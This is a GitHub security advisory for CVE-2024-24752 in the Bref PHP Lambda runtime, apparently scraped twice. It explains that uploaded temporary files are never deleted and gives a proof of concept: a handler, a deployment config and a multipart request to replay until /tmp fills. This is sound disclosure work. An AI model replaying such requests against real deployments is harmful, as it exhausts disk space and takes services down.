Headline
GHSA-x4hh-frx8-98r5: Bref's Uploaded Files Not Deleted in Event-Driven Functions
Impacted Resources
bref/src/Event/Http/Psr7Bridge.php:94-125
Description
When Bref is used with the Event-Driven Function runtime and the handler is a RequestHandlerInterface
, then the Lambda event is converted to a PSR7 object.
During the conversion process, if the request is a MultiPart, each part is parsed and for each which contains a file, it is extracted and saved in /tmp
with a random filename starting with bref_upload_
.
The function implementing the logic follows:
private static function parseBodyAndUploadedFiles(HttpRequestEvent $event): array
{
$bodyString = $event->getBody();
$files = [];
$parsedBody = null;
$contentType = $event->getContentType();
if ($contentType !== null && $event->getMethod() === 'POST') {
if (str_starts_with($contentType, 'application/x-www-form-urlencoded')) {
parse_str($bodyString, $parsedBody);
} else {
$document = new Part("Content-type: $contentType\r\n\r\n" . $bodyString);
if ($document->isMultiPart()) {
$parsedBody = [];
foreach ($document->getParts() as $part) {
if ($part->isFile()) {
$tmpPath = tempnam(sys_get_temp_dir(), 'bref_upload_');
if ($tmpPath === false) {
throw new RuntimeException('Unable to create a temporary directory');
}
file_put_contents($tmpPath, $part->getBody());
$file = new UploadedFile($tmpPath, filesize($tmpPath), UPLOAD_ERR_OK, $part->getFileName(), $part->getMimeType());
self::parseKeyAndInsertValueInArray($files, $part->getName(), $file);
} else {
self::parseKeyAndInsertValueInArray($parsedBody, $part->getName(), $part->getBody());
}
}
}
}
}
return [$files, $parsedBody];
}
The flow mimics what plain PHP does but it does not delete the temporary files when the request has been processed.
Impact
An attacker could fill the Lambda instance disk by performing multiple MultiPart requests containing files. The attack has the following requirements and limitations:
- The Lambda should use the Event-Driven Function runtime.
- The Lambda should use the
RequestHandlerInterface
handler. - The Lambda should implement at least an endpoint accepting POST requests.
- The attacker can send requests up to 6MB long, so multiple requests are required to fill the disk (the default Lambda disk size is 512MB, therefore with less than 100 requests the disk could be filled).
PoC
- Create a new Bref project.
- Create an
index.php
file with the following content:
<?php
namespace App;
require __DIR__ . '/vendor/autoload.php';
use Nyholm\Psr7\Response;
use Psr\Http\Message\ResponseInterface;
use Psr\Http\Message\ServerRequestInterface;
use Psr\Http\Server\RequestHandlerInterface;
class MyHttpHandler implements RequestHandlerInterface
{
public function handle(ServerRequestInterface $request): ResponseInterface
{
return new Response(200, [], exec("ls -lah /tmp/bref_upload* | wc -l"));
}
}
return new MyHttpHandler();
- Use the following
serverless.yml
to deploy the Lambda:
service: app
provider:
name: aws
region: eu-central-1
plugins:
- ./vendor/bref/bref
# Exclude files from deployment
package:
patterns:
- '!node_modules/**'
- '!tests/**'
functions:
api:
handler: index.php
runtime: php-83
events:
- httpApi: 'ANY /upload'
- Replay the following request multiple times after having replaced the
<HOST>
placeholder with the deployed Lambda domain:
POST /upload HTTP/2
Host: <HOST>
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryQqDeSZSSvmn2rfjb
Content-Length: 180
------WebKitFormBoundaryQqDeSZSSvmn2rfjb
Content-Disposition: form-data; name="a"; filename="a.txt"
Content-Type: text/plain
test
------WebKitFormBoundaryQqDeSZSSvmn2rfjb--
- Notice that each time the request is sent the number of the uploaded temporary files on the disk increases.
Suggested Remediation
Delete the temporary files after the request has been processed and the response have been generated.
References
- https://cheatsheetseries.owasp.org/cheatsheets/Denial_of_Service_Cheat_Sheet.html
- GitHub Advisory Database
- GitHub Reviewed
- CVE-2024-24752
Bref’s Uploaded Files Not Deleted in Event-Driven Functions
Moderate severity GitHub Reviewed Published Feb 1, 2024 in brefphp/bref • Updated Feb 1, 2024
Package
Affected versions
< 2.1.13
Impacted Resources
bref/src/Event/Http/Psr7Bridge.php:94-125
Description
When Bref is used with the Event-Driven Function runtime and the handler is a RequestHandlerInterface, then the Lambda event is converted to a PSR7 object.
During the conversion process, if the request is a MultiPart, each part is parsed and for each which contains a file, it is extracted and saved in /tmp with a random filename starting with bref_upload_.
The function implementing the logic follows:
private static function parseBodyAndUploadedFiles(HttpRequestEvent $event): array { $bodyString = $event->getBody(); $files = []; $parsedBody = null; $contentType = $event->getContentType(); if ($contentType !== null && $event->getMethod() === ‘POST’) { if (str_starts_with($contentType, ‘application/x-www-form-urlencoded’)) { parse_str($bodyString, $parsedBody); } else { $document = new Part(“Content-type: $contentType\r\n\r\n” . $bodyString); if ($document->isMultiPart()) { $parsedBody = []; foreach ($document->getParts() as $part) { if ($part->isFile()) { $tmpPath = tempnam(sys_get_temp_dir(), ‘bref_upload_’); if ($tmpPath === false) { throw new RuntimeException(‘Unable to create a temporary directory’); } file_put_contents($tmpPath, $part->getBody()); $file = new UploadedFile($tmpPath, filesize($tmpPath), UPLOAD_ERR_OK, $part->getFileName(), $part->getMimeType());
self::parseKeyAndInsertValueInArray($files, $part\->getName(), $file);
} else {
self::parseKeyAndInsertValueInArray($parsedBody, $part\->getName(), $part\->getBody());
}
}
}
}
}
return \[$files, $parsedBody\];
}
The flow mimics what plain PHP does but it does not delete the temporary files when the request has been processed.
Impact
An attacker could fill the Lambda instance disk by performing multiple MultiPart requests containing files.
The attack has the following requirements and limitations:
- The Lambda should use the Event-Driven Function runtime.
- The Lambda should use the RequestHandlerInterface handler.
- The Lambda should implement at least an endpoint accepting POST requests.
- The attacker can send requests up to 6MB long, so multiple requests are required to fill the disk (the default Lambda disk size is 512MB, therefore with less than 100 requests the disk could be filled).
PoC
- Create a new Bref project.
- Create an index.php file with the following content:
<?php
namespace App;
require __DIR__ . '/vendor/autoload.php’;
use Nyholm\Psr7\Response; use Psr\Http\Message\ResponseInterface; use Psr\Http\Message\ServerRequestInterface; use Psr\Http\Server\RequestHandlerInterface;
class MyHttpHandler implements RequestHandlerInterface { public function handle(ServerRequestInterface $request): ResponseInterface { return new Response(200, [], exec(“ls -lah /tmp/bref_upload* | wc -l”)); } }
return new MyHttpHandler();
- Use the following serverless.yml to deploy the Lambda:
service: app
provider: name: aws region: eu-central-1
plugins: - ./vendor/bref/bref
Exclude files from deployment
package: patterns: - ‘!node_modules/**’ - ‘!tests/**’
functions: api: handler: index.php runtime: php-83 events: - httpApi: ‘ANY /upload’
Replay the following request multiple times after having replaced the <HOST> placeholder with the deployed Lambda domain:
POST /upload HTTP/2 Host: <HOST> Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryQqDeSZSSvmn2rfjb Content-Length: 180
------WebKitFormBoundaryQqDeSZSSvmn2rfjb Content-Disposition: form-data; name="a"; filename="a.txt" Content-Type: text/plain
test ------WebKitFormBoundaryQqDeSZSSvmn2rfjb–
- Notice that each time the request is sent the number of the uploaded temporary files on the disk increases.
Suggested Remediation
Delete the temporary files after the request has been processed and the response have been generated.
References
- https://cheatsheetseries.owasp.org/cheatsheets/Denial_of_Service_Cheat_Sheet.html
References
- GHSA-x4hh-frx8-98r5
- https://nvd.nist.gov/vuln/detail/CVE-2024-24752
- brefphp/bref@350788d
- https://github.com/brefphp/bref/blob/2.1.12/src/Event/Http/Psr7Bridge.php#L94-L125
Published to the GitHub Advisory Database
Feb 1, 2024